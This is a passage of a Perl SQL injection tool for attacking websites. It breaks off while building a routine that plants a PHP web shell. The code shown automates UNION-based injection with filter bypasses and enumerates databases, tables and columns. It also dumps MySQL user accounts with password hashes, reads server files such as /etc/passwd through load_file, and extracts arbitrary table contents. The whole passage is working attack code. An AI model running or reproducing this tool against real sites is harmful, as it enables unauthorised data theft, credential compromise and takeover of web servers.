  777.  @ @   @  @  @  @  @  @  @
  778. @@@ @   @@   @@@  @@@ @@@@@
  779.  
  780.  
  781.  
  782.  
  783. );
  784. }
  785.  
  786. sub length {
  787.     print "\n[+] Looking for the number of columns\n\n";
  788.     my $rows = "0";
  789.     my $asc;
  790.     my $page = $_[0];
  791.     ( $pass1, $pass2 ) = &bypass( $_[1] );
  792.  
  793.     $alert = "char(" . ascii("RATSXPDOWN1RATSXPDOWN") . ")";
  794.     $total = "1";
  795.     for my $rows ( 2 .. 200 ) {
  796.         $asc .=
  797.           "," . "char(" . ascii( "RATSXPDOWN" . $rows . "RATSXPDOWN" ) . ")";
  798.         $total .= "," . $rows;
  799.         $injection =
  800.             $page . "1"
  801.           . $pass1 . "and"
  802.           . $pass1 . "1=0"
  803.           . $pass1 . "union"
  804.           . $pass1
  805.           . "select"
  806.           . $pass1
  807.           . $alert
  808.           . $asc;
  809.         $test = toma($injection);
  810.         if ( $test =~ /RATSXPDOWN/ ) {
  811.             @number = $test =~ m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  812.             $control = 1;
  813.  
  814.             my $save = partimealmedio( $_[0] );
  815.  
  816.             savefile( $save . ".txt", "\n[Target confirmed] : $page" );
  817.             savefile( $save . ".txt", "[Bypass] : $_[1]\n" );
  818.             savefile( $save . ".txt", "[Limit] : The site has $rows columns" );
  819.             savefile( $save . ".txt",
  820.                 "[Data] : The number @number print data" );
  821.             $total =~ s/$number[0]/hackman/;
  822.             savefile(
  823.                 $save . ".txt",
  824.                 "[SQLI] : "
  825.                   . $page . "1"
  826.                   . $pass1 . "and"
  827.                   . $pass1 . "1=0"
  828.                   . $pass1 . "union"
  829.                   . $pass1
  830.                   . "select"
  831.                   . $pass1
  832.                   . $total
  833.             );
  834.             return (
  835.                 $page . "1"
  836.                   . $pass1 . "and"
  837.                   . $pass1 . "1=0"
  838.                   . $pass1 . "union"
  839.                   . $pass1
  840.                   . "select"
  841.                   . $pass1
  842.                   . $total,
  843.                 $save, $control
  844.             );
  845.         }
  846.     }
  847. }
  848.  
  849. sub details {
  850.     my ( $page, $bypass, $save ) = @_;
  851.     ( $pass1, $pass2 ) = &bypass($bypass);
  852.     savefile( $save . ".txt", "\n" );
  853.     if ( $page =~ /(.*)hackman(.*)/ig ) {
  854.         print "[+] Searching information..\n\n";
  855.         my ( $start, $end ) = ( $1, $2 );
  856.         $inforschema =
  857.             $start
  858.           . "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
  859.           . $end
  860.           . $pass1 . "from"
  861.           . $pass1
  862.           . "information_schema.tables"
  863.           . $pass2;
  864.         $mysqluser =
  865.             $start
  866.           . "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
  867.           . $end
  868.           . $pass1 . "from"
  869.           . $pass1
  870.           . "mysql.user"
  871.           . $pass2;
  872.         $test3 =
  873.           toma( $start
  874.               . "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))"
  875.               . $end
  876.               . $pass2 );
  877.         $test1 = toma($inforschema);
  878.         $test2 = toma($mysqluser);
  879.         if ( $test2 =~ /ERTOR854/ig ) {
  880.             savefile( $save . ".txt", "[mysql.user] : ON" );
  881.             print "[mysql.user] : ON\n";
  882.         }
  883.         else {
  884.             print "[mysql.user] : OFF\n";
  885.             savefile( $save . ".txt", "[mysql.user] : OFF" );
  886.         }
  887.         if ( $test1 =~ /ERTOR854/ig ) {
  888.             print "[information_schema.tables] : ON\n";
  889.             savefile( $save . ".txt", "[information_schema.tables] : ON" );
  890.         }
  891.         else {
  892.             print "[information_schema.tables] : OFF\n";
  893.             savefile( $save . ".txt", "[information_schema.tables] : OFF" );
  894.         }
  895.         if ( $test3 =~ /ERTOR854/ig ) {
  896.             print "[load_file] : ON\n";
  897.             savefile(
  898.                 $save . ".txt",
  899.                 "[load_file] : "
  900.                   . $start
  901.                   . "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))"
  902.                   . $end
  903.                   . $pass2
  904.             );
  905.         }
  906.         $concat =
  907. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
  908.         $injection = $start . $concat . $end . $pass2;
  909.         $code      = toma($injection);
  910.         if ( $code =~ /ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g ) {
  911.             print
  912.               "\n[!] DB Version : $1\n[!] DB Name : $2\n[!] Username : $3\n\n";
  913.             savefile(
  914.                 $save . ".txt",
  915.                 "\n[!] DB Version : $1\n[!] DB Name : $2\n[!] Username : $3\n"
  916.             );
  917.         }
  918.         else {
  919.             print "\n[-] Not found any data\n";
  920.         }
  921.     }
  922. }
  923.  
  924. sub menu_options {
  925.  
  926.     my $testarnownow = $_[0];    ## Comment on this line to compile to exe
  927.     $SIG{INT} =
  928.       sub { reload($testarnownow) };   ## Comment on this line to compile to exe
  929.  
  930.     head();
  931.  
  932.     print "[Target confirmed] : $_[0]\n";
  933.     print "[Bypass] : $_[1]\n\n";
  934.  
  935.     my $save = partimealmedio( $_[0] );
  936.  
  937.     print "[save] : /logs/webs/$save\n\n";
  938.     print "\n--== information_schema.tables ==--\n\n";
  939.     print "[1] : Show tables\n";
  940.     print "[2] : Show columns\n";
  941.     print "[3] : Show DBS\n";
  942.     print "[4] : Show tables with other DB\n";
  943.     print "[5] : Show columns with other DB\n";
  944.     print "\n\n--== mysql.user ==--\n\n";
  945.     print "[6] : Show users\n";
  946.     print "\n--== Others ==--\n\n";
  947.     print "[7] : Fuzz tables\n";
  948.     print "[8] : Fuzz Columns\n";
  949.     print "[9] : Fuzzing files with load_file\n";
  950.     print "[10] : Read a file with load_file\n";
  951.     print "[11] : Dump\n";
  952.     print "[12] : Informacion of the server\n";
  953.     print "[13] : Create a shell with into outfile\n";
  954.     print "[14] : Show Log\n";
  955.     print "[15] : Change Target\n";
  956.     print "[16] : Exit\n";
  957.     print "\n\n[Option] : ";
  958.     chomp( my $opcion = <STDIN> );
  959.  
  960.     if ( $opcion eq "1" ) {
  961.         schematables( $_[0], $_[1], $save );
  962.         &reload;
  963.     }
  964.     elsif ( $opcion eq "2" ) {
  965.         print "\n\n[Table] : ";
  966.         chomp( my $tabla = <STDIN> );
  967.         schemacolumns( $_[0], $_[1], $save, $tabla );
  968.         &reload;
  969.     }
  970.     elsif ( $opcion eq "3" ) {
  971.         &schemadb( $_[0], $_[1], $save );
  972.         &reload;
  973.     }
  974.     elsif ( $opcion eq "4" ) {
  975.         print "\n\n[DAtabase] : ";
  976.         chomp( my $data = <STDIN> );
  977.         &schematablesdb( $_[0], $_[1], $data, $save );
  978.         &reload;
  979.     }
  980.     elsif ( $opcion eq "5" ) {
  981.         print "\n\n[DB] : ";
  982.         chomp( my $db = <STDIN> );
  983.         print "\n[Table] : ";
  984.         chomp( my $table = <STDIN> );
  985.         &schemacolumnsdb( $_[0], $_[1], $db, $table, $save );
  986.         &reload;
  987.     }
  988.     elsif ( $opcion eq "6" ) {
  989.         &mysqluser( $_[0], $_[1], $save );
  990.         &reload;
  991.     }
  992.     elsif ( $opcion eq "7" ) {    ##
  993.         &fuzz( $_[0], $_[1], $save );
  994.         &reload;
  995.     }
  996.     elsif ( $opcion eq "8" ) {    ##
  997.         print "\n\n[Table] : ";
  998.         chomp( my $table = <STDIN> );
  999.         &fuzzcol( $_[0], $_[1], $table, $save );
  1000.         &reload;
  1001.     }
  1002.     elsif ( $opcion eq "9" ) {
  1003.         &load( $_[0], $_[1], $save );
  1004.         &reload;
  1005.     }
  1006.     elsif ( $opcion eq "10" ) {
  1007.         &loadfile( $_[0], $_[1], $save );
  1008.         &reload;
  1009.     }
  1010.     elsif ( $opcion eq "11" ) {
  1011.         print "\n\n[Table to dump] : ";
  1012.         chomp( my $tabla = <STDIN> );
  1013.         print "\n[Column 1] : ";
  1014.         chomp( my $col1 = <STDIN> );
  1015.         print "\n[Column 2] : ";
  1016.         chomp( my $col2 = <STDIN> );
  1017.         print "\n\n";
  1018.         &dump( $_[0], $col1, $col2, $tabla, $_[1], $save );
  1019.         &reload;
  1020.     }
  1021.     elsif ( $opcion eq "12" ) {
  1022.         print "\n\n";
  1023.         &details( $_[0], $_[1], $save );
  1024.         &reload;
  1025.     }
  1026.     elsif ( $opcion eq "13" ) {
  1027.         print "\n\n[Full Path Discloure] : ";
  1028.         chomp( my $path = <STDIN> );
  1029.         &into( $_[0], $_[1], $path, $save );
  1030.         &reload;
  1031.     }
  1032.     elsif ( $opcion eq "14" ) {
  1033.         $t = "logs/webs/$save.txt";
  1034.         system("start $t");
  1035.         &reload;
  1036.     }
  1037.     elsif ( $opcion eq "15" ) {
  1038.         &head;
  1039.         &menu;
  1040.     }
  1041.  
  1042.     elsif ( $opcion eq "16" ) {
  1043.         &finish;
  1044.     }
  1045.     else {
  1046.         &reload;
  1047.     }
  1048. }
  1049.  
  1050. sub schematables {
  1051.  
  1052.     $real = "1";
  1053.     my ( $page, $bypass, $save ) = @_;
  1054.     savefile( $save . ".txt", "\n" );
  1055.     print "\n";
  1056.     my $page1 = $page;
  1057.     ( $pass1, $pass2 ) = &bypass( $_[1] );
  1058.     savefile( $save . ".txt", "[DB] : default" );
  1059.     print "\n[+] Searching tables with schema\n\n";
  1060.     $page =~
  1061. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1062.     $page1 =~
  1063. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1064.     $code =
  1065.       toma( $page1
  1066.           . $pass1 . "from"
  1067.           . $pass1
  1068.           . "information_schema.tables"
  1069.           . $pass2 );
  1070.  
  1071.     if ( $code =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1072.         my $resto = $1;
  1073.         $total = $resto - 17;
  1074.         print "[+] Tables Length :  $total\n\n";
  1075.         savefile( $save . ".txt", "[+] Searching tables with schema\n" );
  1076.         savefile( $save . ".txt", "[+] Tables Length :  $total\n" );
  1077.         my $limit = $1;
  1078.         for my $limit ( 17 .. $limit ) {
  1079.             $code1 =
  1080.               toma( $page
  1081.                   . $pass1 . "from"
  1082.                   . $pass1
  1083.                   . "information_schema.tables"
  1084.                   . $pass1 . "limit"
  1085.                   . $pass1
  1086.                   . $limit . ",1"
  1087.                   . $pass2 );
  1088.  
  1089. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."limit".$pass1.$limit.",1".$pass2."\n";
  1090.             if ( $code1 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1091.                 my $table = $1;
  1092.                 chomp $table;
  1093.                 print "[Table $real Found : $table ]\n";
  1094.                 savefile( $save . ".txt", "[Table $real Found : $table ]" );
  1095.                 $real++;
  1096.             }
  1097.         }
  1098.     }
  1099.     else {
  1100.         print "\n[-] information_schema = ERROR\n";
  1101.     }
  1102. }
  1103.  
  1104. sub reload {
  1105.     print "\n\n[+] Finish\n\n";
  1106.     <STDIN>;
  1107.     &head;
  1108.     &menu_options;
  1109. }
  1110.  
  1111. sub schemacolumns {
  1112.     my ( $page, $bypass, $save, $table ) = @_;
  1113.     my $page3 = $page;
  1114.     my $page4 = $page;
  1115.     savefile( $save . ".txt", "\n" );
  1116.     print "\n";
  1117.     ( $pass1, $pass2 ) = &bypass($bypass);
  1118.     print "\n[DB] : default\n";
  1119.     savefile( $save . ".txt", "[DB] : default" );
  1120.     savefile( $save . ".txt", "[Table] : $table\n" );
  1121.     $page3 =~
  1122. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1123.     $code3 =
  1124.       toma( $page3
  1125.           . $pass1 . "from"
  1126.           . $pass1
  1127.           . "information_schema.columns"
  1128.           . $pass1 . "where"
  1129.           . $pass1
  1130.           . "table_name=char("
  1131.           . ascii($table) . ")"
  1132.           . $pass2 );
  1133.  
  1134.     if ( $code3 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1135.         print "\n[Columns Length : $1 ]\n\n";
  1136.         savefile( $save . ".txt", "[Columns Length : $1 ]\n" );
  1137.         my $si = $1;
  1138.         chomp $si;
  1139.         $page4 =~
  1140. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1141.         $real = "1";
  1142.         for my $limit2 ( 0 .. $si ) {
  1143.             $code4 =
  1144.               toma( $page4
  1145.                   . $pass1 . "from"
  1146.                   . $pass1
  1147.                   . "information_schema.columns"
  1148.                   . $pass1 . "where"
  1149.                   . $pass1
  1150.                   . "table_name=char("
  1151.                   . ascii($table) . ")"
  1152.                   . $pass1 . "limit"
  1153.                   . $pass1
  1154.                   . $limit2 . ",1"
  1155.                   . $pass2 );
  1156.             if ( $code4 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1157.                 print "[Column $real] : $1\n";
  1158.                 savefile( $save . ".txt", "[Column $real] : $1" );
  1159.                 $real++;
  1160.             }
  1161.         }
  1162.     }
  1163.     else {
  1164.         print "\n[-] information_schema = ERROR\n";
  1165.     }
  1166. }
  1167.  
  1168. sub schemadb {
  1169.     my ( $page, $bypass, $save ) = @_;
  1170.     my $page1 = $page;
  1171.     savefile( $save . ".txt", "\n" );
  1172.     print "\n\n[+] Searching DBS\n\n";
  1173.     ( $pass1, $pass2 ) = &bypass($bypass);
  1174.     $page =~
  1175. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1176.     $code =
  1177.       toma( $page . $pass1 . "from" . $pass1 . "information_schema.schemata" );
  1178.     if ( $code =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1179.         my $limita = $1;
  1180.         print "[+] Databases Length : $limita\n\n";
  1181.         savefile( $save . ".txt", "[+] Databases Length : $limita\n" );
  1182.         $page1 =~
  1183. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1184.         $real = "1";
  1185.         for my $limit ( 0 .. $limita ) {
  1186.             $code =
  1187.               toma( $page1
  1188.                   . $pass1 . "from"
  1189.                   . $pass1
  1190.                   . "information_schema.schemata"
  1191.                   . $pass1 . "limit"
  1192.                   . $pass1
  1193.                   . $limit . ",1"
  1194.                   . $pass2 );
  1195.             if ( $code =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1196.                 my $control = $1;
  1197.                 if (    $control ne "information_schema"
  1198.                     and $control ne "mysql"
  1199.                     and $control ne "phpmyadmin" )
  1200.                 {
  1201.                     print "[Database $real Found] $control\n";
  1202.                     savefile( $save . ".txt",
  1203.                         "[Database $real Found] : $control" );
  1204.                     $real++;
  1205.                 }
  1206.             }
  1207.         }
  1208.     }
  1209.     else {
  1210.         print "[-] information_schema = ERROR\n";
  1211.     }
  1212. }
  1213.  
  1214. sub schematablesdb {
  1215.     my $page  = $_[0];
  1216.     my $db    = $_[2];
  1217.     my $page1 = $page;
  1218.     savefile( $_[3] . ".txt", "\n" );
  1219.     print "\n\n[+] Searching tables with DB $db\n\n";
  1220.     ( $pass1, $pass2 ) = &bypass( $_[1] );
  1221.     savefile( $_[3] . ".txt", "[DB] : $db" );
  1222.     $page =~
  1223. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1224.     $page1 =~
  1225. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1226.     $code =
  1227.       toma( $page1
  1228.           . $pass1 . "from"
  1229.           . $pass1
  1230.           . "information_schema.tables"
  1231.           . $pass1 . "where"
  1232.           . $pass1
  1233.           . "table_schema=char("
  1234.           . ascii($db) . ")"
  1235.           . $pass2 );
  1236.  
  1237. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
  1238.     if ( $code =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1239.         print "[+] Tables Length :  $1\n\n";
  1240.         savefile( $_[3] . ".txt", "[+] Tables Length :  $1\n" );
  1241.         my $limit = $1;
  1242.         $real = "1";
  1243.         for my $lim ( 0 .. $limit ) {
  1244.             $code1 =
  1245.               toma( $page
  1246.                   . $pass1 . "from"
  1247.                   . $pass1
  1248.                   . "information_schema.tables"
  1249.                   . $pass1 . "where"
  1250.                   . $pass1
  1251.                   . "table_schema=char("
  1252.                   . ascii($db) . ")"
  1253.                   . $pass1 . "limit"
  1254.                   . $pass1
  1255.                   . $lim . ",1"
  1256.                   . $pass2 );
  1257.  
  1258. #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
  1259.             if ( $code1 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1260.                 my $table = $1;
  1261.                 chomp $table;
  1262.                 savefile( $_[3] . ".txt", "[Table $real Found : $table ]" );
  1263.                 print "[Table $real Found : $table ]\n";
  1264.                 $real++;
  1265.             }
  1266.         }
  1267.     }
  1268.     else {
  1269.         print "\n[-] information_schema = ERROR\n";
  1270.     }
  1271. }
  1272.  
  1273. sub schemacolumnsdb {
  1274.     my ( $page, $bypass, $db, $table, $save ) = @_;
  1275.     my $page3 = $page;
  1276.     my $page4 = $page;
  1277.     print "\n\n[+] Searching columns in table $table with DB $db\n\n";
  1278.     savefile( $save . ".txt", "\n" );
  1279.     ( $pass1, $pass2 ) = &bypass( $_[1] );
  1280.     savefile( $save . ".txt", "\n[DB] : $db" );
  1281.     savefile( $save . ".txt", "[Table] : $table" );
  1282.     $page3 =~
  1283. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1284.     $code3 =
  1285.       toma( $page3
  1286.           . $pass1 . "from"
  1287.           . $pass1
  1288.           . "information_schema.columns"
  1289.           . $pass1 . "where"
  1290.           . $pass1
  1291.           . "table_name=char("
  1292.           . ascii($table) . ")"
  1293.           . $pass1 . "and"
  1294.           . $pass1
  1295.           . "table_schema=char("
  1296.           . ascii($db) . ")"
  1297.           . $pass2 );
  1298.  
  1299.     if ( $code3 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1300.         print "\n[Columns length : $1 ]\n\n";
  1301.         savefile( $save . ".txt", "[Columns length : $1 ]\n" );
  1302.         my $si = $1;
  1303.         chomp $si;
  1304.         $page4 =~
  1305. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1306.         $real = "1";
  1307.         for my $limit2 ( 0 .. $si ) {
  1308.             $code4 =
  1309.               toma( $page4
  1310.                   . $pass1 . "from"
  1311.                   . $pass1
  1312.                   . "information_schema.columns"
  1313.                   . $pass1 . "where"
  1314.                   . $pass1
  1315.                   . "table_name=char("
  1316.                   . ascii($table) . ")"
  1317.                   . $pass1 . "and"
  1318.                   . $pass1
  1319.                   . "table_schema=char("
  1320.                   . ascii($db) . ")"
  1321.                   . $pass1 . "limit"
  1322.                   . $pass1
  1323.                   . $limit2 . ",1"
  1324.                   . $pass2 );
  1325.             if ( $code4 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1326.                 print "[Column $real] : $1\n";
  1327.                 savefile( $save . ".txt", "[Column $real] : $1" );
  1328.                 $real++;
  1329.             }
  1330.         }
  1331.     }
  1332.     else {
  1333.         print "\n[-] information_schema = ERROR\n";
  1334.     }
  1335. }
  1336.  
  1337. sub mysqluser {
  1338.     my ( $page, $bypass, $save ) = @_;
  1339.     my $cop  = $page;
  1340.     my $cop1 = $page;
  1341.     savefile( $save . ".txt", "\n" );
  1342.     print "\n\n[+] Finding mysql.users\n";
  1343.     ( $pass1, $pass2 ) = &bypass($bypass);
  1344.     $page =~ s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
  1345.     $code = toma( $page . $pass1 . "from" . $pass1 . "mysql.user" . $pass2 );
  1346.  
  1347.     if ( $code =~ /RATSXPDOWN/ig ) {
  1348.         $cop1 =~
  1349. s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  1350.         $code1 =
  1351.           toma( $cop1 . $pass1 . "from" . $pass1 . "mysql.user" . $pass2 );
  1352.         if ( $code1 =~ /RATSXPDOWN1(.*)RATSXPDOWN1/ig ) {
  1353.             print "\n[+] Users Found : $1\n\n";
  1354.             savefile( $save . ".txt", "\n[+] Users mysql Found : $1\n" );
  1355.             for my $limit ( 0 .. $1 ) {
  1356.                 $cop =~
  1357. s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
  1358.                 $code =
  1359.                   toma( $cop
  1360.                       . $pass1 . "from"
  1361.                       . $pass1
  1362.                       . "mysql.user"
  1363.                       . $pass1 . "limit"
  1364.                       . $pass1
  1365.                       . $limit . ",1"
  1366.                       . $pass2 );
  1367.                 if ( $code =~
  1368.                     /RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig )
  1369.                 {
  1370.                     print "[Host] : $1 [User] : $2 [Password] : $3\n";
  1371.                     savefile( $save . ".txt",
  1372.                         "[Host] : $1 [User] : $2 [Password] : $3" );
  1373.                 }
  1374.                 else {
  1375.                     &reload;
  1376.                 }
  1377.             }
  1378.         }
  1379.     }
  1380.     else {
  1381.         print "\n[-] mysql.user = ERROR\n";
  1382.     }
  1383. }
  1384.  
  1385. sub fuzz {
  1386.     my $page = $_[0];
  1387.     ( $pass1, $pass2 ) = &bypass( $_[1] );
  1388.     my $count = "0";
  1389.     savefile( $_[2] . ".txt", "\n" );
  1390.     print "\n";
  1391.     if ( $_[0] =~ /(.*)hackman(.*)/g ) {
  1392.         my $start = $1;
  1393.         my $end   = $2;
  1394.         print "\n[+] Searching tables.....\n\n";
  1395.         for my $table (@buscar2) {
  1396.             chomp $table;
  1397.             $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))";
  1398.             $injection =
  1399.                 $start
  1400.               . $concat
  1401.               . $end
  1402.               . $pass1 . "from"
  1403.               . $pass1
  1404.               . $table
  1405.               . $pass2;
  1406.             $code = toma($injection);
  1407.             if ( $code =~ /ERTOR854/g ) {
  1408.                 $count++;
  1409.                 print "[Table Found] : $table\n";
  1410.                 savefile( $_[2] . ".txt", "[Table Found] : $table" );
  1411.             }
  1412.         }
  1413.     }
  1414.     if ( $count eq "0" ) {
  1415.         print "[-] Not found any table\n";
  1416.         &reload;
  1417.     }
  1418. }
  1419.  
  1420. sub fuzzcol {
  1421.     my $page = $_[0];
  1422.     ( $pass1, $pass2 ) = &bypass( $_[1] );
  1423.     my $count = "0";
  1424.     savefile( $_[3] . ".txt", "\n" );
  1425.     print "\n";
  1426.     if ( $_[0] =~ /(.*)hackman(.*)/ ) {
  1427.         my $start = $1;
  1428.         my $end   = $2;
  1429.         print "\n[+] Searching columns for the table $_[2]...\n\n\n";
  1430.         savefile( $_[3] . ".txt", "[Table] : $_[2]" );
  1431.         for my $columns (@buscar1) {
  1432.             chomp $columns;
  1433.             $concat =
  1434. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$columns,char(69,82,84,79,82,56,53,52))))";
  1435.             $code =
  1436.               toma( $start
  1437.                   . $concat
  1438.                   . $end
  1439.                   . $pass1 . "from"
  1440.                   . $pass1
  1441.                   . $_[2]
  1442.                   . $pass2 );
  1443.             if ( $code =~ /ERTOR854/g ) {
  1444.                 print "[Column Found] : $columns\n";
  1445.                 savefile( $_[3] . ".txt", "[Column Found] : $columns" );
  1446.             }
  1447.         }
  1448.     }
  1449.     if ( $count eq "0" ) {
  1450.         print "[-] Not found any column\n";
  1451.         &reload;
  1452.     }
  1453. }
  1454.  
  1455. sub load {
  1456.     savefile( $_[2] . ".txt", "\n" );
  1457.     print "\n";
  1458.     ( $pass1, $pass2 ) = &bypass( $_[1] );
  1459.     if ( $_[0] =~ /(.*)hackman(.*)/g ) {
  1460.         print "\n[+] Searching files with load_file...\n\n\n";
  1461.         my $start = $1;
  1462.         my $end   = $2;
  1463.         for my $file (@files) {
  1464.             chomp $file;
  1465.             $concat =
  1466.                 "unhex(hex(concat(char(107,48,98,114,97),load_file("
  1467.               . encode($file)
  1468.               . "),char(107,48,98,114,97))))";
  1469.             my $code = toma( $start . $concat . $end . $pass2 );
  1470.             chomp $code;
  1471.             if ( $code =~ /k0bra(.*)k0bra/s ) {
  1472.                 print "[File Found] : $file\n";
  1473.                 print "\n[Source Start]\n\n";
  1474.                 print $1;
  1475.                 print "\n\n[Source End]\n\n";
  1476.                 savefile( $_[2] . ".txt", "[File Found] : $file" );
  1477.                 savefile( $_[2] . ".txt", "\n[Source Start]\n" );
  1478.                 savefile( $_[2] . ".txt", "$1" );
  1479.                 savefile( $_[2] . ".txt", "\n[Source End]\n" );
  1480.             }
  1481.         }
  1482.     }
  1483. }
  1484.  
  1485. sub loadfile {
  1486.     savefile( $_[2] . ".txt", "\n" );
  1487.     ( $pass1, $pass2 ) = &bypass( $_[1] );
  1488.     if ( $_[0] =~ /(.*)hackman(.*)/g ) {
  1489.         my $start = $1;
  1490.         my $end   = $2;
  1491.         print "\n\n[+] File to read : ";
  1492.         chomp( my $file = <stdin> );
  1493.         $concat =
  1494.             "unhex(hex(concat(char(107,48,98,114,97),load_file("
  1495.           . encode($file)
  1496.           . "),char(107,48,98,114,97))))";
  1497.         my $code = toma( $start . $concat . $end . $pass2 );
  1498.         chomp $code;
  1499.         if ( $code =~ /k0bra(.*)k0bra/s ) {
  1500.             print "[File Found] : $file\n";
  1501.             print "\n[Source Start]\n\n";
  1502.             print $1;
  1503.             print "\n\n[Source End]\n\n";
  1504.             savefile( $_[2] . ".txt", "[File Found] : $file" );
  1505.             savefile( $_[2] . ".txt", "\n[Source Start]\n" );
  1506.             savefile( $_[2] . ".txt", "$1" );
  1507.             savefile( $_[2] . ".txt", "\n[Source End]\n" );
  1508.         }
  1509.     }
  1510. }
  1511.  
  1512. sub dump {
  1513.     savefile( $_[5] . ".txt", "\n" );
  1514.     my $page = $_[0];
  1515.     ( $pass1, $pass2 ) = &bypass( $_[4] );
  1516.     if ( $page =~ /(.*)hackman(.*)/ ) {
  1517.         my $start = $1;
  1518.         my $end   = $2;
  1519.         print "[+] Extracting values...\n\n";
  1520.         $concatx =
  1521. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($_[1]),char(69,82,84,79,82,56,53,52))))";
  1522.         $val_code =
  1523.           toma( $start
  1524.               . $concatx
  1525.               . $end
  1526.               . $pass1 . "from"
  1527.               . $pass1
  1528.               . $_[3]
  1529.               . $pass2 );
  1530.         $concat =
  1531. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$_[1],char(69,82,84,79,82,56,53,52),$_[2],char(69,82,84,79,82,56,53,52))))";
  1532.         if ( $val_code =~ /ERTOR854(.*)ERTOR854/ig ) {
  1533.             $tota = $1;
  1534.             print "[+] Table : $_[3]\n";
  1535.             print "[+] Length of the rows : $tota\n\n";
  1536.             print "[$_[1]] [$_[2]]\n\n";
  1537.             savefile( $_[5] . ".txt", "[Table] : $_[3]" );
  1538.             savefile( $_[5] . ".txt", "[+] Length of the rows: $tota\n" );
  1539.             savefile( $_[5] . ".txt", "[$_[1]] [$_[2]]\n" );
  1540.             for my $limit ( 0 .. $tota ) {
  1541.                 chomp $limit;
  1542.                 $injection =
  1543.                   toma( $start
  1544.                       . $concat
  1545.                       . $end
  1546.                       . $pass1 . "from"
  1547.                       . $pass1
  1548.                       . $_[3]
  1549.                       . $pass1 . "limit"
  1550.                       . $pass1
  1551.                       . $limit . ",1"
  1552.                       . $pass2 );
  1553.                 if ( $injection =~ /ERTOR854(.*)ERTOR854(.*)ERTOR854/ig ) {
  1554.                     savefile( $_[5] . ".txt", "[$_[1]] : $1   [$_[2]] : $2" );
  1555.                     print "[$_[1]] : $1   [$_[2]] : $2\n";
  1556.                 }
  1557.                 else {
  1558.                     print "\n\n[+] Extracting Finish\n";
  1559.                     &reload;
  1560.                 }
  1561.             }
  1562.         }
  1563.         else {
  1564.             print "[-] Not Found any DATA\n\n";
  1565.         }
  1566.     }
  1567. }
  1568.  
  1569. sub into {
  1570.     print "\n\n[Status] : Injecting a SQLI for create a shell\n";
  1571.     my ( $page, $bypass, $dir, $save ) = @_;
  1572.     savefile( $save . ".txt", "\n" );
  1573.     print "\n";
  1574.     ( $pass1, $pass2 ) = &bypass($bypass);
  1575.     my ( $scheme, $auth, $path, $query, $frag ) = uri_split($page);
  1576.     if ( $path =~ /\/(.*)$/ ) {
  1577.         my $path1 = $1;
  1578.         my $path2 = $path1;
  1579.         $path2 =~ s/$1//;
  1580.         $dir   =~ s/$path1//ig;
  1581.         $shell = $dir . "/" . "shell.php";
  1582.         if ( $page =~ /(.*)hackman(.*)/ig ) {
  1583.             my ( $start, $end ) = ( $1, $2 );
  1584.             $code =
  1585.               toma( $start
